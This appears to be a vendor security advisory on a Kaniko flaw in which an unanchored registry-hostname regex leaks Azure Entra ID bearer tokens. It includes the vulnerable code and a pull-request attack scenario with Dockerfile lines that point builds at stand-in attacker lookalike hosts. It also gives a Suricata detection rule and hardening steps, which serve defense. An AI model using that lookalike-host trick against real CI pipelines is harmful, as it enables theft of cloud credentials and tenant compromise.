CVE-2026-105769: Google Kaniko Container Build Azure Entra ID Access Token Leakage
A critical vulnerability (CVE-2026-105769) in Google Kaniko before v1.25.20 enables adversaries to silently exfiltrate active Microsoft Entra ID (Azure AD) access tokens for Azure Resource Manager (ARM). Kaniko, widely utilized in automated Kubernetes CI/CD pipelines to build container images without Docker daemon privileges, bundles an Azure Container Registry (ACR) credential helper that employed an unanchored regular expression when validating registry hostnames. If a Dockerfile references an image on an attacker-controlled lookalike hostname containing '.azurecr.io' (e.g. 'FROM evil.azurecr.io.attacker.com/image'), Kaniko transmits the build environment's live bearer token directly to the attacker endpoint prior to any authentication challenge. Exploitation requires no 'RUN' commands and never pushes an image, making standard pull-request validation builds a direct initial access vector into enterprise Azure tenants. Hermes evaluates CVE-2026-105769 at HTS 93 (CRITICAL).
HERMES THREAT SCORE & CLOUD PIPELINE INTEGRITY EVALUATION
Target:Google Kaniko ACR Credential Helper (docker-credential-acr-env) CVSS v3.1 rates CVE-2026-105769 at 9.3 (Critical). Hermes assigns an HTS of 93 (CRITICAL) due to the widespread adoption of Kaniko in cloud-native pipelines (Tekton, Argo Workflows, GitLab CI, GitHub Actions runners on AKS). The vulnerability converts untrusted Dockerfile inputs into credential harvesting conduits, enabling lateral movement and registry poisoning across enterprise Azure cloud environments.
1. Executive Summary & Context
Section titled โ1. Executive Summary & ContextโGoogle Kaniko is an open-source tool developed by Google Container Tools and maintained across enterprise container environments to build container images from a Dockerfile inside an unprivileged container or Kubernetes pod without access to a Docker daemon.
Disclosed in November 2026 by researcher Martin Zihlmann (osscontainertools), CVE-2026-105769 represents a critical credential leakage and origin validation vulnerability in Kanikoโs bundled Azure Container Registry (ACR) credential helper (docker-credential-acr-env). The vulnerability permits remote adversaries who can influence a Dockerfile (such as through pull requests, fork builds, or automated configuration files) to steal active Microsoft Entra ID (Azure AD) access tokens assigned to the build runner.
2. Root Cause Analysis & Technical Mechanics (CWE-346 / CWE-522)
Section titled โ2. Root Cause Analysis & Technical Mechanics (CWE-346 / CWE-522)โThe flaw resides in how Kaniko determines whether an external container registry is an authentic Azure Container Registry requiring credential dispatch.
Unanchored Regex Hostname Matching
Section titled โUnanchored Regex Hostname MatchingโIn vulnerable versions prior to v1.25.20, Kaniko links the ACR helper github.com/chrismellard/docker-credential-acr-env. The validation logic used an unanchored regex:
// Vulnerable regular expression pattern in docker-credential-acr-envvar acrRegex = regexp.MustCompile(`\.azurecr\.(io|cn|de|us)`)Because the regex was not anchored to the end of the hostname string ($):
- Any arbitrary domain name containing the substring
.azurecr.io, such asregistry.azurecr.io.attacker-domain.com, successfully matches the validation condition. - Kaniko erroneously treats the attacker-controlled server as an authentic Microsoft Azure container registry.
Pre-Challenge Bearer Token Dispatch
Section titled โPre-Challenge Bearer Token DispatchโWhen Kaniko encounters a FROM directive or COPY --from= instruction:
- Kaniko queries the credential helper before initiating network handshakes with the registry.
- The credential helper requests a live OAuth2 bearer token from the environment:
- Service principal credentials (
AZURE_CLIENT_ID,AZURE_CLIENT_SECRET,AZURE_TENANT_ID). - Workload identity federated tokens (
AZURE_FEDERATED_TOKEN). - Azure Managed Identity via the Instance Metadata Service (
http://169.254.169.254/metadata/identity/oauth2/token).
- Service principal credentials (
- Kaniko sends an HTTP POST request to
https://<attacker_host>/oauth2/exchangewith the bearer token contained in both:- The
Authorization: Bearer <TOKEN>HTTP header. - The
access_tokenform URL-encoded body parameter.
- The
- The attacker logs the token and can immediately utilize it against Azure Resource Manager (ARM) APIs or exchange it at authentic ACR registries for full read/write privileges.
3. Threat Intelligence & Attack Scenarios
Section titled โ3. Threat Intelligence & Attack ScenariosโSupply Chain Pull-Request Exploitation
Section titled โSupply Chain Pull-Request Exploitationโ- Malicious PR: An attacker submits a pull request to an open-source or enterprise repository that uses Kaniko in its CI/CD pipeline (e.g. Tekton or GitHub Actions).
- Dockerfile Modification: The PR alters a single line:
FROM corp.azurecr.io.evil-c2.net/alpine:latest
- Automated CI Execution: The CI runner launches Kaniko to validate the build.
- Token Exfiltration: Kaniko contacts
corp.azurecr.io.evil-c2.net, transmitting the pipelineโs Azure workload identity token. - Lateral Movement: The attacker uses the token to authenticate to the organizationโs Azure cloud tenant, escalating privileges or tampering with production container images.
4. Affected Versions & Remediation Matrix
Section titled โ4. Affected Versions & Remediation Matrixโ| Package / Repository | Vulnerable Range | Fixed Release | Patch Commit |
|---|---|---|---|
Kaniko (chainguard-dev/kaniko) | < 1.25.20 | 1.25.20 | 08de01f / #495 |
Upstream docker-credential-acr-env | All versions | Unmaintained | Replaced in fork |
5. Detection Engineering & Threat Hunting
Section titled โ5. Detection Engineering & Threat HuntingโSuricata Network Rule
Section titled โSuricata Network RuleโDetect outbound token exchanges destined for non-Microsoft IP space:
alert http $HOME_NET any -> $EXTERNAL_NET any ( \ msg:"HERMES - Kaniko Suspicious ACR OAuth2 Token Exchange to Lookalike Domain (CVE-2026-105769)"; \ flow:to_server,established; \ content:"POST"; http_method; \ content:"/oauth2/exchange"; http_uri; \ content:"azurecr.io"; http_header_names; \ pcre:"/Host:\s+[^\r\n]*\.azurecr\.io\.[a-z0-9\-\.]+/i"; \ classtype:bad-unknown; \ sid:202610576; rev:1; \)6. Remediation & Hardening Roadmap
Section titled โ6. Remediation & Hardening Roadmapโ-
Upgrade Kaniko to Version 1.25.20 or Later: Rebuild build worker container images using the patched Kaniko executor:
FROM gcr.io/kaniko-project/executor:v1.25.20 -
Block Instance Metadata Service (IMDS) from Build Pods: Deploy a Kubernetes NetworkPolicy to block egress to
169.254.169.254:apiVersion: networking.k8s.io/v1kind: NetworkPolicymetadata:name: block-imds-kanikospec:podSelector:matchLabels:app: kaniko-builderpolicyTypes:- Egressegress:- to:- ipBlock:cidr: 0.0.0.0/0except:- 169.254.169.254/32 -
Temporary Environment Workaround: If Kaniko cannot be immediately upgraded and does not need ACR authentication, set:
Terminal window AZURE_ENVIRONMENT=noneThis disables the ACR credential helper before token transmission.